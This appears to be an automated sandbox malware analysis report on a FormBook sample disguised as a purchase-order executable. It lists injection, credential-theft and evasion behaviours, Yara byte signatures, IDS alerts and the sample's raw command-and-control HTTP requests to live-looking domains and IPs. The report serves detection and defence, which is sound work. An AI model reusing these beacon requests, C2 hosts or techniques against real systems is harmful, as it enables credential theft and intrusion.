Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
PO#001498.exe

Overview

General Information

Sample name:PO#001498.exe
Analysis ID:1524045
MD5:eae93786c2728add0bef6611bd278abb
SHA1:8f8a60a7c31f5f5ba1bec5e91da0244dc7bba10c
SHA256:869593545d30c7f8e2ec6b4676f6866afc6f6e7b56b769d289d84626f7578d98
Tags:exeuser-TeamDreier
Infos:

Detection

FormBook
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Suricata IDS alerts for network traffic
Yara detected FormBook
AI detected suspicious sample
Contains functionality to detect sleep reduction / modifications
Found direct / indirect Syscall (likely to bypass EDR)
Initial sample is a PE file and has a suspicious name
Machine Learning detection for sample
Maps a DLL or memory area into another process
Modifies the context of a thread in another process (thread injection)
Performs DNS queries to domains with low reputation
Queues an APC in another process (thread injection)
Switches to a custom stack to bypass stack traces
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Mail credentials (via file / registry access)
Writes to foreign memory regions
Checks if the current process is being debugged
Contains functionality for execution timing, often used to detect debuggers
Contains functionality for read data from the clipboard
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to block mouse and keyboard input (often used to hinder debugging)
Contains functionality to call native functions
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to check if a window is minimized (may be used to check if an application is visible)
Contains functionality to communicate with device drivers
Contains functionality to dynamically determine API calls
Contains functionality to execute programs as a different user
Contains functionality to launch a process as a different user
Contains functionality to launch a program with higher privileges
Contains functionality to modify clipboard data
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Contains functionality to query CPU information (cpuid)
Contains functionality to read the PEB
Contains functionality to read the clipboard data
Contains functionality to retrieve information about pressed keystrokes
Contains functionality to shutdown / reboot the system
Contains functionality to simulate keystroke presses
Contains functionality to simulate mouse events
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found inlined nop instructions (likely shell or obfuscated code)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
OS version to string mapping found (often used in BOTs)
PE file contains an invalid checksum
Potential key logger detected (key state polling based)
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Sigma detected: Uncommon Svchost Parent Process
Uses 32bit PE files
Uses code obfuscation techniques (call, push, ret)
Yara signature match

Classification

Process Tree

  • System is w10x64
  • PO#001498.exe (PID: 6728 cmdline: "C:\Users\user\Desktop\PO#001498.exe" MD5: EAE93786C2728ADD0BEF6611BD278ABB)
    • svchost.exe (PID: 1476 cmdline: "C:\Users\user\Desktop\PO#001498.exe" MD5: 1ED18311E3DA35942DB37D15FA40CC5B)
      • AnbtBVreItY.exe (PID: 1836 cmdline: "C:\Program Files (x86)\VFHYPMRHNSmDvkDOwyvQmIScReffGBDtnnCfHxSMLyuqFYcuFILGcMwFiYnGerwoQHpXzBGxx\AnbtBVreItY.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)
        • forfiles.exe (PID: 1876 cmdline: "C:\Windows\SysWOW64\forfiles.exe" MD5: D95C443851F70F77427B3183B1619DD3)
          • AnbtBVreItY.exe (PID: 6760 cmdline: "C:\Program Files (x86)\VFHYPMRHNSmDvkDOwyvQmIScReffGBDtnnCfHxSMLyuqFYcuFILGcMwFiYnGerwoQHpXzBGxx\AnbtBVreItY.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)
          • firefox.exe (PID: 4904 cmdline: "C:\Program Files\Mozilla Firefox\Firefox.exe" MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)
  • cleanup

Malware Threat Intel

Provided by

NameDescriptionAttributionBlogpost URLsLink
Formbook, FormboFormBook contains a unique crypter RunPE that has unique behavioral patterns subject to detection. It was initially called "Babushka Crypter" by Insidemalware.
  • SWEED
  • Cobalt
https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook

Malware Configuration

⊘No configs have been found

Yara Signatures

Memory Dumps

SourceRuleDescriptionAuthorStrings
0000000C.00000002.3133057378.0000000004970000.00000004.00000800.00020000.00000000.sdmpJoeSecurity_FormBook_1Yara detected FormBookJoe Security
    0000000C.00000002.3133057378.0000000004970000.00000004.00000800.00020000.00000000.sdmpWindows_Trojan_Formbook_1112e116unknownunknown
    • 0x2c150:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55
    • 0x141df:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
    00000008.00000002.1776540328.0000000000400000.00000040.80000000.00040000.00000000.sdmpJoeSecurity_FormBook_1Yara detected FormBookJoe Security
      00000008.00000002.1776540328.0000000000400000.00000040.80000000.00040000.00000000.sdmpWindows_Trojan_Formbook_1112e116unknownunknown
      • 0x2f2d3:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55
      • 0x17362:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
      0000000C.00000002.3132858119.0000000004920000.00000004.00000800.00020000.00000000.sdmpJoeSecurity_FormBook_1Yara detected FormBookJoe Security
        Click to see the 11 entries

        Unpacked PEs

        SourceRuleDescriptionAuthorStrings
        8.2.svchost.exe.400000.0.unpackJoeSecurity_FormBook_1Yara detected FormBookJoe Security
          8.2.svchost.exe.400000.0.unpackWindows_Trojan_Formbook_1112e116unknownunknown
          • 0x2e4d3:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55
          • 0x16562:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
          8.2.svchost.exe.400000.0.raw.unpackJoeSecurity_FormBook_1Yara detected FormBookJoe Security
            8.2.svchost.exe.400000.0.raw.unpackWindows_Trojan_Formbook_1112e116unknownunknown
            • 0x2f2d3:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55
            • 0x17362:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01

            Sigma Signatures

            System Summary

            barindex
            Sigma detected: Uncommon Svchost Parent Process
            Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: "C:\Users\user\Desktop\PO#001498.exe", CommandLine: "C:\Users\user\Desktop\PO#001498.exe", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\svchost.exe, NewProcessName: C:\Windows\SysWOW64\svchost.exe, OriginalFileName: C:\Windows\SysWOW64\svchost.exe, ParentCommandLine: "C:\Users\user\Desktop\PO#001498.exe", ParentImage: C:\Users\user\Desktop\PO#001498.exe, ParentProcessId: 6728, ParentProcessName: PO#001498.exe, ProcessCommandLine: "C:\Users\user\Desktop\PO#001498.exe", ProcessId: 1476, ProcessName: svchost.exe
            Sigma detected: Windows Processes Suspicious Parent Directory
            Source: Process startedAuthor: vburov: Data: Command: "C:\Users\user\Desktop\PO#001498.exe", CommandLine: "C:\Users\user\Desktop\PO#001498.exe", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\svchost.exe, NewProcessName: C:\Windows\SysWOW64\svchost.exe, OriginalFileName: C:\Windows\SysWOW64\svchost.exe, ParentCommandLine: "C:\Users\user\Desktop\PO#001498.exe", ParentImage: C:\Users\user\Desktop\PO#001498.exe, ParentProcessId: 6728, ParentProcessName: PO#001498.exe, ProcessCommandLine: "C:\Users\user\Desktop\PO#001498.exe", ProcessId: 1476, ProcessName: svchost.exe

            Suricata Signatures

            TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
            2024-10-02T15:16:19.410323+020020507451Malware Command and Control Activity Detected192.168.2.74970584.32.84.3280TCP
            2024-10-02T15:16:43.018659+020020507451Malware Command and Control Activity Detected192.168.2.749710199.59.243.22780TCP
            2024-10-02T15:16:56.467675+020020507451Malware Command and Control Activity Detected192.168.2.74971437.9.175.16380TCP
            2024-10-02T15:17:09.917405+020020507451Malware Command and Control Activity Detected192.168.2.74971867.223.117.16980TCP
            2024-10-02T15:17:24.061619+020020507451Malware Command and Control Activity Detected192.168.2.749722154.9.228.5680TCP
            2024-10-02T15:17:37.322526+020020507451Malware Command and Control Activity Detected192.168.2.749726203.161.41.20580TCP
            2024-10-02T15:17:50.540004+020020507451Malware Command and Control Activity Detected192.168.2.7497303.33.130.19080TCP
            2024-10-02T15:18:04.666433+020020507451Malware Command and Control Activity Detected192.168.2.749734162.240.81.1880TCP
            2024-10-02T15:18:18.667219+020020507451Malware Command and Control Activity Detected192.168.2.7497385.39.10.9380TCP

            Joe Sandbox Signatures

            Click to jump to signature section

            Show All Signature Results

            AV Detection

            barindex
            Multi AV Scanner detection for submitted file
            Source: PO#001498.exeReversingLabs: Detection: 50%
            Yara detected FormBook
            Source: Yara matchFile source: 8.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 8.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 0000000C.00000002.3133057378.0000000004970000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000008.00000002.1776540328.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 0000000C.00000002.3132858119.0000000004920000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000008.00000002.1776852488.0000000003590000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 0000000E.00000002.3133096714.0000000002E90000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 0000000B.00000002.3132094860.00000000044C0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 0000000C.00000002.3120123793.0000000002CB0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000008.00000002.1777534454.0000000005050000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
            AI detected suspicious sample
            Source: Submited SampleIntegrated Neural Analysis Model: Matched 100.0% probability
            Machine Learning detection for sample
            Source: PO#001498.exeJoe Sandbox ML: detected
            Source: PO#001498.exeStatic PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
            Source: Binary string: forfiles.pdb source: svchost.exe, 00000008.00000003.1742969007.0000000003224000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1742956316.000000000321A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1742907274.000000000321B000.00000004.00000020.00020000.00000000.sdmp, AnbtBVreItY.exe, 0000000B.00000002.3124009966.0000000001398000.00000004.00000020.00020000.00000000.sdmp
            Source: Binary string: forfiles.pdbGCTL source: svchost.exe, 00000008.00000003.1742969007.0000000003224000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1742956316.000000000321A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1742907274.000000000321B000.00000004.00000020.00020000.00000000.sdmp, AnbtBVreItY.exe, 0000000B.00000002.3124009966.0000000001398000.00000004.00000020.00020000.00000000.sdmp
            Source: Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: AnbtBVreItY.exe, 0000000B.00000000.1697791921.000000000098E000.00000002.00000001.01000000.00000005.sdmp, AnbtBVreItY.exe, 0000000E.00000000.1842122598.000000000098E000.00000002.00000001.01000000.00000005.sdmp
            Source: Binary string: wntdll.pdbUGP source: PO#001498.exe, 00000000.00000003.1308560731.0000000004850000.00000004.00001000.00020000.00000000.sdmp, PO#001498.exe, 00000000.00000003.1305915551.00000000046B0000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1681555136.0000000003400000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1683279079.0000000003600000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.1776929290.000000000399E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.1776929290.0000000003800000.00000040.00001000.00020000.00000000.sdmp, forfiles.exe, 0000000C.00000003.1778969932.00000000049D2000.00000004.00000020.00020000.00000000.sdmp, forfiles.exe, 0000000C.00000002.3135104175.0000000004D1E000.00000040.00001000.00020000.00000000.sdmp, forfiles.exe, 0000000C.00000002.3135104175.0000000004B80000.00000040.00001000.00020000.00000000.sdmp, forfiles.exe, 0000000C.00000003.1776788198.0000000004827000.00000004.00000020.00020000.00000000.sdmp
            Source: Binary string: wntdll.pdb source: PO#001498.exe, 00000000.00000003.1308560731.0000000004850000.00000004.00001000.00020000.00000000.sdmp, PO#001498.exe, 00000000.00000003.1305915551.00000000046B0000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, svchost.exe, 00000008.00000003.1681555136.0000000003400000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1683279079.0000000003600000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.1776929290.000000000399E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.1776929290.0000000003800000.00000040.00001000.00020000.00000000.sdmp, forfiles.exe, forfiles.exe, 0000000C.00000003.1778969932.00000000049D2000.00000004.00000020.00020000.00000000.sdmp, forfiles.exe, 0000000C.00000002.3135104175.0000000004D1E000.00000040.00001000.00020000.00000000.sdmp, forfiles.exe, 0000000C.00000002.3135104175.0000000004B80000.00000040.00001000.00020000.00000000.sdmp, forfiles.exe, 0000000C.00000003.1776788198.0000000004827000.00000004.00000020.00020000.00000000.sdmp
            Source: Binary string: svchost.pdb source: forfiles.exe, 0000000C.00000002.3122100683.0000000002F35000.00000004.00000020.00020000.00000000.sdmp, forfiles.exe, 0000000C.00000002.3136018758.00000000051AC000.00000004.10000000.00040000.00000000.sdmp, AnbtBVreItY.exe, 0000000E.00000000.1842704933.00000000033CC000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000012.00000002.2070941487.000000003391C000.00000004.80000000.00040000.00000000.sdmp
            Source: Binary string: svchost.pdbUGP source: forfiles.exe, 0000000C.00000002.3122100683.0000000002F35000.00000004.00000020.00020000.00000000.sdmp, forfiles.exe, 0000000C.00000002.3136018758.00000000051AC000.00000004.10000000.00040000.00000000.sdmp, AnbtBVreItY.exe, 0000000E.00000000.1842704933.00000000033CC000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000012.00000002.2070941487.000000003391C000.00000004.80000000.00040000.00000000.sdmp
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_00452126 FindFirstFileW,Sleep,FindNextFileW,FindClose,0_2_00452126
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_0045C999 FindFirstFileW,FindNextFileW,FindClose,0_2_0045C999
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_00436ADE GetFileAttributesW,FindFirstFileW,FindClose,0_2_00436ADE
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_00434BEE FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,0_2_00434BEE
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_0045DD7C FindFirstFileW,FindClose,0_2_0045DD7C
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_0044BD29 _wcscat,_wcscat,__wsplitpath,FindFirstFileW,CopyFileW,_wcscpy,_wcscat,_wcscat,lstrcmpiW,DeleteFileW,MoveFileW,CopyFileW,DeleteFileW,CopyFileW,FindClose,MoveFileW,FindNextFileW,FindClose,0_2_0044BD29
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_00436D2D FindFirstFileW,CreateFileW,SetFileTime,CloseHandle,SetFileTime,CloseHandle,0_2_00436D2D
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_00442E1F SetCurrentDirectoryW,FindFirstFileW,SetCurrentDirectoryW,FindFirstFileW,FindNextFileW,FindClose,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,0_2_00442E1F
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_00475FE5 FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,0_2_00475FE5
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_0044BF8D _wcscat,__wsplitpath,FindFirstFileW,_wcscpy,_wcscat,_wcscat,DeleteFileW,FindNextFileW,FindClose,FindClose,0_2_0044BF8D
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_02CCC600 FindFirstFileW,FindNextFileW,FindClose,12_2_02CCC600
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 4x nop then xor eax, eax12_2_02CB9BE0
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 4x nop then mov ebx, 00000004h12_2_04A704DE

            Networking

            barindex
            Suricata IDS alerts for network traffic
            Source: Network trafficSuricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.7:49718 -> 67.223.117.169:80
            Source: Network trafficSuricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.7:49705 -> 84.32.84.32:80
            Source: Network trafficSuricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.7:49722 -> 154.9.228.56:80
            Source: Network trafficSuricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.7:49714 -> 37.9.175.163:80
            Source: Network trafficSuricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.7:49726 -> 203.161.41.205:80
            Source: Network trafficSuricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.7:49738 -> 5.39.10.93:80
            Source: Network trafficSuricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.7:49710 -> 199.59.243.227:80
            Source: Network trafficSuricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.7:49730 -> 3.33.130.190:80
            Source: Network trafficSuricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.7:49734 -> 162.240.81.18:80
            Performs DNS queries to domains with low reputation
            Source: DNS query: www.paysom.xyz
            Source: Joe Sandbox ViewIP Address: 162.240.81.18 162.240.81.18
            Source: Joe Sandbox ViewIP Address: 199.59.243.227 199.59.243.227
            Source: Joe Sandbox ViewIP Address: 199.59.243.227 199.59.243.227
            Source: Joe Sandbox ViewASN Name: UNIFIEDLAYER-AS-1US UNIFIEDLAYER-AS-1US
            Source: Joe Sandbox ViewASN Name: VIMRO-AS15189US VIMRO-AS15189US
            Source: Joe Sandbox ViewASN Name: GBTCLOUDUS GBTCLOUDUS
            Source: Joe Sandbox ViewASN Name: WEBSUPPORT-SRO-SK-ASSK WEBSUPPORT-SRO-SK-ASSK
            Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
            Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
            Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
            Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
            Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
            Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
            Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
            Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
            Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_0044289D InternetQueryDataAvailable,InternetReadFile,0_2_0044289D
            Source: global trafficHTTP traffic detected: GET /v1m8/?PDnL0H4=uHJ964Jak9lb4YUyfkZQ2xvbBZ+v0uNjDgaNEBQRc8PC25V4G9pb67rGeGfWlSNDdRliNlGk0Q64b1Xgz3nZ+6SvJiIFcUn42OZbRWP1Dzd7lzveO4xPaRnMofxiLb4gmwdLcuxD1TDA&cJ=eZx4P HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Host: www.ankittrading.storeConnection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/6.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.3)
            Source: global trafficHTTP traffic detected: GET /l4rw/?PDnL0H4=bxLhvRGrGkmA3a8MVLksA9O6epMWunBjiiDhmPdAbaxOp/M+Gpk9AJyEIFaWZbfbYSMKIIsbQIm0wGAdIoyiMtPXYWC6E+UHTloZARVqKBbmWVLZ91Lo1Le8qgLpq0Xpt4sX3vyn3hlR&cJ=eZx4P HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Host: www.notepad.mobiConnection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/6.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.3)
            Source: global trafficHTTP traffic detected: GET /t3gh/?PDnL0H4=zEDKAPo0fWIr7gepujFM3hONZ8pGlKAcECMHT5GhOUjPLGGHYOnRhJ5losn3B+cwv2wWXqsOX+tmwA3DpzxQYWcvF9OI/7vzh1sU1BgJQgDKmJ3P14tuMLY//UhfsPslfp/YvJbN0ZLZ&cJ=eZx4P HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Host: www.elektromontaze.onlineConnection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/6.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.3)
            Source: global trafficHTTP traffic detected: GET /zctj/?PDnL0H4=7S4o5+ZCgT4OODwfFpG+s4wiCFAnOZCzfRxqRVdrbobbRD+6SGggBBocUcamamM0rj3t2K/sItShBC5e9jOvPMFc8Ts9kNN+wHKhjSFFlD0pLjr7njpBm/yeBJ+c4s7d7sPpMprzB4Pv&cJ=eZx4P HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Host: www.rtpsilva4d.clickConnection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/6.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.3)
            Source: global trafficHTTP traffic detected: GET /kyiu/?PDnL0H4=WCaTEpVIV1F/IDd5xet0U/v8EBgR4+MrBcMWAOPreHJieMqZHDOJq6LkbwJNcnm0/KUex7YRpxZmHiJXClvi8IQXQojzYPwJ0us3fopYznmqkr1xoIt7ztcwmZJFiE0pdwe7fNqg6tit&cJ=eZx4P HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Host: www.mcse.topConnection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/6.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.3)
            Source: global trafficHTTP traffic detected: GET /guro/?PDnL0H4=7+kD9FiWdLQbO7Xh4mp3Tzq63KAmHikwKr+gs46wKWEdWXZTCgAq3DZWNFT071I6kRcf0adkrwgUpAlbIxvs7ctY0Q4kDRV1VLfOJzsmQYQkjGZNIcuY5VcZwoAGjmNzsmH6ta/2x1bG&cJ=eZx4P HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Host: www.paysom.xyzConnection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/6.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.3)
            Source: global trafficHTTP traffic detected: GET /swj2/?PDnL0H4=P0crsamxtuU6gq442A5JVDLtFaQ272SuKPgrEa6KpDZhy5jCC+7AJhWiOHv/kCv6EaT0CLlKbyEmlyMFHr9gqySJu+UUyj4X55F7OWVcwUUW7TkNkiV3TddgPHJr/SBxtLqf2BhyIm+8&cJ=eZx4P HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Host: www.bearableguy.netConnection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/6.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.3)
            Source: global trafficHTTP traffic detected: GET /l90v/?PDnL0H4=tj7s0oyrGc1LrDSGnf8YHtw+ebsKDrOBu6GSmYGqVaA9KTCtf5t4TDr3lhx61sWDy3u5CDLnPKwXwDtlkJUkQXT0jCihCdlrSRGn+EUQa4fXC4BrJZGRQFbKceI3GDyLA2ga/kBrekJs&cJ=eZx4P HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Host: www.monitoraseg.onlineConnection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/6.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.3)
            Source: global trafficHTTP traffic detected: GET /mfnh/?cJ=eZx4P&PDnL0H4=uiQSy69x68ywNzcc2xGZGS3b7G9Di2AmSZy7E0+wXNrf1UQY7cg94CWp6P5m0cawB8S+TLOh4cYPJlBKxEA2O4b/zKyvUiD5czmdoxMYCqiElO0H9mCQ9xUwX3LJfG6F/jT3KbKUs5js HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Host: www.spectre.centerConnection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/6.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.3)
            Source: global trafficDNS traffic detected: DNS query: www.ankittrading.store
            Source: global trafficDNS traffic detected: DNS query: www.notepad.mobi
            Source: global trafficDNS traffic detected: DNS query: www.elektromontaze.online
            Source: global trafficDNS traffic detected: DNS query: www.rtpsilva4d.click
            Source: global trafficDNS traffic detected: DNS query: www.mcse.top
            Source: global trafficDNS traffic detected: DNS query: www.paysom.xyz
            Source: global trafficDNS traffic detected: DNS query: www.bearableguy.net
            Source: global trafficDNS traffic detected: DNS query: www.monitoraseg.online
            Source: global trafficDNS traffic detected: DNS query: www.spectre.center
            Source: unknownHTTP traffic detected: POST /l4rw/ HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.5Host: www.notepad.mobiOrigin: http://www.notepad.mobiReferer: http://www.notepad.mobi/l4rw/Cache-Control: max-age=0Connection: closeContent-Length: 220Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/6.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.3)Data Raw: 50 44 6e 4c 30 48 34 3d 57 7a 6a 42 73 6d 61 2b 4e 6b 65 68 71 6f 35 76 66 4b 38 38 47 63 79 46 50 2b 38 38 67 6c 6f 56 6b 77 7a 52 72 38 31 38 58 59 39 35 73 66 41 53 4c 49 45 53 43 4f 4f 79 46 33 65 41 63 6f 72 62 41 53 41 36 43 50 51 43 43 62 43 35 33 43 59 2b 4a 75 62 73 44 2b 6e 49 52 77 75 4d 48 4f 30 46 50 30 6b 69 42 52 39 47 48 78 6e 56 5a 79 53 59 79 48 43 44 67 65 48 37 67 56 37 5a 34 6d 43 65 79 37 51 41 76 76 65 74 70 68 6f 78 77 6d 2b 5a 6a 67 66 44 72 32 79 4c 2b 64 32 77 59 70 33 50 6b 50 4c 30 6c 43 43 34 6f 65 6a 56 32 31 56 4f 6e 50 46 47 51 38 63 35 6b 4a 69 38 6a 64 76 73 45 53 72 77 41 45 4f 39 2f 66 74 6c 77 57 65 38 33 77 3d 3d Data Ascii: 